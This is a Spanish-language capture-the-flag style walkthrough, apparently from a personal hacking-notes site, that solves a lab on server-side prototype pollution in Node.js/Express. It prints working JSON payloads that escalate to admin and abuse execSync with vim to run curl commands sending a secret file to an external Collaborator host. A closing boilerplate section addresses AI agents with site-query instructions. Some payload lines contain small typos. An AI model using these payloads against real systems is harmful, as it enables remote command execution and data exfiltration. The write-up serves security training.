> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# Exfiltración de datos sensibles mediante Prototype Pollution del lado del servidor

### Exfiltración de datos sensibles mediante contaminación de prototipos del lado del servidor

**Descripción del laboratorio**

Este laboratorio se basa en **Node.js** y el framework **Express**. La aplicación es vulnerable a una **contaminación de prototipos del lado del servidor** porque fusiona de forma insegura datos controlados por el usuario en objetos JavaScript del lado del servidor.

Debido a esta configuración, es posible contaminar `Object.prototype` para inyectar y ejecutar **comandos arbitrarios del sistema**.

Objetivos del laboratorio:

* Identificar un punto de contaminación de prototipos para añadir propiedades arbitrarias a `Object.prototype`.
* Encontrar un gadget utilizable para inyectar y ejecutar comandos del sistema.
* Empieza a ejecutar un comando que revele el contenido del directorio personal de Carlos (`/home/carlos`) a un **Burp Collaborator** servidor.
* Exfiltra el contenido de un archivo secreto en este directorio y envía el valor obtenido.

El acceso de administrador ya está disponible. La conexión es posible con:

* **Credenciales**: `wiener:peter`

<figure><img src="/files/a6dd56a2f9160d727c67665cb54e89707d3eca96" alt=""><figcaption></figcaption></figure>

**Punto de entrada vulnerable**

La funcionalidad de **modificación de dirección** es vulnerable a la contaminación de prototipos.

Solicitud enviada:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/08689067e795501bbca952cbdbe070bf0bed2718" alt=""><figcaption></figcaption></figure>

**Confirmación de la contaminación**

La respuesta del servidor confirma `Object.prototype` la contaminación y la escalada de privilegios:

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "Wiener HQ",
 "address_line_2": "One Wiener Way",
 "city": "Wienerville",
 "postcode": "BU1 1RP",
 "country": "UK",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**Operatividad administrativa**

<figure><img src="/files/318b9c5438b16f10fa7a633e6d70258ba160eeef" alt=""><figcaption></figcaption></figure>

En el panel de administración, una **Ejecutar mantenimiento** opción está disponible. Ella envía la siguiente solicitud:

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

Esta función usa `child_process.execSync()` del lado del servidor. Esta función incluye `shell` y `entrada` parámetros, que es un gadget que puede explotarse mediante contaminación de prototipos.

<figure><img src="/files/ce50fa89c7237f12685b1edfb3b1095d53ceafcd" alt="" width="563"><figcaption></figcaption></figure>

**Inyección de comandos mediante `execSync`**

En `__proto__` el objeto contaminado, es posible controlar las opciones pasadas a `execSync`:

```bash
__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="/files/d2c51fe1f560b40aca129d15a17cda7fd0e6a601" alt=""><figcaption></figcaption></figure>

Al realizar la tarea de mantenimiento, falla en la aplicación, pero se envía una solicitud a **Burp Collaborator**, confirmando la ejecución del comando.

<figure><img src="/files/cf2cc54674975b18bc210cf9995a43ea6ec5c139" alt=""><figcaption></figcaption></figure>

**Exfiltración del archivo secreto**

Para exfiltrar el contenido del archivo secreto de Carlos, se usa la siguiente carga útil:

```json
"__proto__": {O
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

O:

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

Solicitud completa:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**Resultado**

El servidor de Burp Collaborator recibe una solicitud que contiene el valor del archivo secreto:

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="/files/90acc391aa7e6a03023b5993f8d6e9348cbf99fd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
